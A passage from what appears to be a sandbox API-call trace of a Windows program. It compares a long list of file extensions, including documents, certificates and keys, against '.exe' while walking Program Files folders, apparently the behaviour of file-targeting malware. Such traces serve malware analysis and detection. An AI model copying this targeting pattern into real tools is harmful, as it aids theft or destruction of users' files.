(lpString=".oft") returned 4 [0251.413] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1 [0251.413] lstrlenW (lpString=".one") returned 4 [0251.413] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1 [0251.413] lstrlenW (lpString=".onepkg") returned 7 [0251.413] lstrcmpiW (lpString1=".onepkg", lpString2="ice.exe") returned -1 [0251.413] lstrlenW (lpString=".onetoc2") returned 8 [0251.413] lstrcmpiW (lpString1=".onetoc2", lpString2="fice.exe") returned -1 [0251.413] lstrlenW (lpString=".opt") returned 4 [0251.413] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1 [0251.413] lstrlenW (lpString=".oqy") returned 4 [0251.413] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1 [0251.413] lstrlenW (lpString=".orf") returned 4 [0251.413] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1 [0251.413] lstrlenW (lpString=".p12") returned 4 [0251.413] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1 [0251.413] lstrlenW (lpString=".p7b") returned 4 [0251.413] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1 [0251.413] lstrlenW (lpString=".p7c") returned 4 [0251.413] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1 [0251.413] lstrlenW (lpString=".pam") returned 4 [0251.413] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1 [0251.413] lstrlenW (lpString=".pbm") returned 4 [0251.413] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1 [0251.413] lstrlenW (lpString=".pct") returned 4 [0251.413] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1 [0251.413] lstrlenW (lpString=".pcx") returned 4 [0251.413] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1 [0251.413] lstrlenW (lpString=".pdd") returned 4 [0251.414] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1 [0251.414] lstrlenW (lpString=".pdf") returned 4 [0251.414] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0251.414] lstrlenW (lpString=".pdp") returned 4 [0251.414] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1 [0251.414] lstrlenW (lpString=".pef") returned 4 [0251.414] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1 [0251.414] lstrlenW (lpString=".pem") returned 4 [0251.414] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1 [0251.414] lstrlenW (lpString=".pff") returned 4 [0251.414] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1 [0251.414] lstrlenW (lpString=".pfm") returned 4 [0251.414] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1 [0251.414] lstrlenW (lpString=".pfx") returned 4 [0251.414] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1 [0251.414] lstrlenW (lpString=".pgm") returned 4 [0251.414] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1 [0251.414] lstrlenW (lpString=".php") returned 4 [0251.414] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1 [0251.414] lstrlenW (lpString=".php3") returned 5 [0251.414] lstrcmpiW (lpString1=".php3", lpString2="e.exe") returned -1 [0251.414] lstrlenW (lpString=".php4") returned 5 [0251.414] lstrcmpiW (lpString1=".php4", lpString2="e.exe") returned -1 [0251.414] lstrlenW (lpString=".php5") returned 5 [0251.414] lstrcmpiW (lpString1=".php5", lpString2="e.exe") returned -1 [0251.414] lstrlenW (lpString=".phtml") returned 6 [0251.414] lstrcmpiW (lpString1=".phtml", lpString2="ce.exe") returned -1 [0251.414] lstrlenW (lpString=".pict") returned 5 [0251.414] lstrcmpiW (lpString1=".pict", lpString2="e.exe") returned -1 [0251.415] lstrlenW (lpString=".pl") returned 3 [0251.415] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1 [0251.415] lstrlenW (lpString=".pls") returned 4 [0251.415] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1 [0251.415] lstrlenW (lpString=".pm") returned 3 [0251.415] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1 [0251.415] lstrlenW (lpString=".png") returned 4 [0251.415] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0251.415] lstrlenW (lpString=".pnm") returned 4 [0251.415] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1 [0251.415] lstrlenW (lpString=".pot") returned 4 [0251.415] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1 [0251.415] lstrlenW (lpString=".potm") returned 5 [0251.415] lstrcmpiW (lpString1=".potm", lpString2="e.exe") returned -1 [0251.415] lstrlenW (lpString=".potx") returned 5 [0251.415] lstrcmpiW (lpString1=".potx", lpString2="e.exe") returned -1 [0251.415] lstrlenW (lpString=".ppa") returned 4 [0251.415] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1 [0251.415] lstrlenW (lpString=".ppam") returned 5 [0251.415] lstrcmpiW (lpString1=".ppam", lpString2="e.exe") returned -1 [0251.415] lstrlenW (lpString=".ppm") returned 4 [0251.415] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1 [0251.415] lstrlenW (lpString=".pps") returned 4 [0251.415] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1 [0251.415] lstrlenW (lpString=".ppsm") returned 5 [0251.415] lstrcmpiW (lpString1=".ppsm", lpString2="e.exe") returned -1 [0251.415] lstrlenW (lpString=".ppt") returned 4 [0251.415] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0251.416] lstrlenW (lpString=".pptm") returned 5 [0251.416] lstrcmpiW (lpString1=".pptm", lpString2="e.exe") returned -1 [0251.416] lstrlenW (lpString=".pptx") returned 5 [0251.416] lstrcmpiW (lpString1=".pptx", lpString2="e.exe") returned -1 [0251.416] lstrlenW (lpString=".prn") returned 4 [0251.416] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1 [0251.416] lstrlenW (lpString=".ps") returned 3 [0251.416] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1 [0251.416] lstrlenW (lpString=".psb") returned 4 [0251.416] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1 [0251.416] lstrlenW (lpString=".psd") returned 4 [0251.416] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1 [0251.416] lstrlenW (lpString=".pst") returned 4 [0251.416] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1 [0251.416] lstrlenW (lpString=".ptx") returned 4 [0251.416] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1 [0251.416] lstrlenW (lpString=".pub") returned 4 [0251.416] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1 [0251.416] lstrlenW (lpString=".pwm") returned 4 [0251.416] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1 [0251.416] lstrlenW (lpString=".pxr") returned 4 [0251.416] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1 [0251.416] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e8efda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e8efda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1 [0251.417] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e8efda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e8efda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~1.EXE")) returned 0 [0251.417] FindClose (in: hFindFile=0x6d0548 | out: hFindFile=0x6d0548) returned 1 [0251.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0251.417] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClientX64", cAlternateFileName="CLIENT~1")) returned 0 [0251.417] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0251.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0251.417] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xea263510, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea263510, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0251.417] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41658b8 [0251.417] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xea263510, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea263510, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d0348 [0251.427] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xea263510, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea263510, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.432] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4525df30, ftCreationTime.dwHighDateTime=0x1d59f69, ftLastAccessTime.dwLowDateTime=0x7b6da220, ftLastAccessTime.dwHighDateTime=0x1d5a5af, ftLastWriteTime.dwLowDateTime=0x7b6da220, ftLastWriteTime.dwHighDateTime=0x1d5a5af, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="absolutetelnet.exe", cAlternateFileName="ABSOLU~1.EXE")) returned 1 [0251.432] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9eac3a9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe9eac3a9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf3efc600, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessible.tlb", cAlternateFileName="ACCESS~1.TLB")) returned 1 [0251.432] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae059bd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae059bd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x72516580, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1f1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessibleHandler.dll", cAlternateFileName="ACCESS~1.DLL")) returned 1 [0251.432] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae2bc3c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae2bc3c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73829280, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x73d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessibleMarshal.dll", cAlternateFileName="ACCESS~2.DLL")) returned 1 [0251.432] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae2bc3c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae2bc3c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0251.433] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae51e99, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae51e99, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x46c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0251.433] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae51e99, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae51e99, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x46c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0251.433] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae51e99, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae51e99, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0251.433] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae780ef, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae780ef, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x56c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="AP87F4~1.DLL")) returned 1 [0251.433] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae780ef, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae780ef, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0251.433] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae9e352, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae9e352, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="APC7B0~1.DLL")) returned 1 [0251.433] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaec45af, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaec45af, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="AP4F63~1.DLL")) returned 1 [0251.434] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaec45af, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaec45af, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="AP26B7~1.DLL")) returned 1 [0251.434] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaec45af, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaec45af, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="AP40C7~1.DLL")) returned 1 [0251.434] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaeea81b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaeea81b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="APD0F3~1.DLL")) returned 1 [0251.434] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaeea81b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaeea81b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1 [0251.434] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf10a88, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf10a88, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="AP25B1~1.DLL")) returned 1 [0251.434] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf10a88, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf10a88, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="AP8526~1.DLL")) returned 1 [0251.435] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf10a88, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf10a88, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="AP507A~1.DLL")) returned 1 [0251.435] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf36ceb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf36ceb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="APEF2A~1.DLL")) returned 1 [0251.435] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf36ceb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf36ceb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0251.435] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf5cf35, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf5cf35, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x46c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="AP5574~1.DLL")) returned 1 [0251.435] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf5cf35, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf5cf35, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="APDC30~1.DLL")) returned 1 [0251.435] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf5cf35, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf5cf35, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="AP743F~1.DLL")) returned 1 [0251.435] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf831a7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf831a7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="AP7678~1.DLL")) returned 1 [0251.437] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf831a7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf831a7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0251.437] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf831a7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf831a7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="APFAD9~1.DLL")) returned 1 [0251.437] FindNextFileW (in: 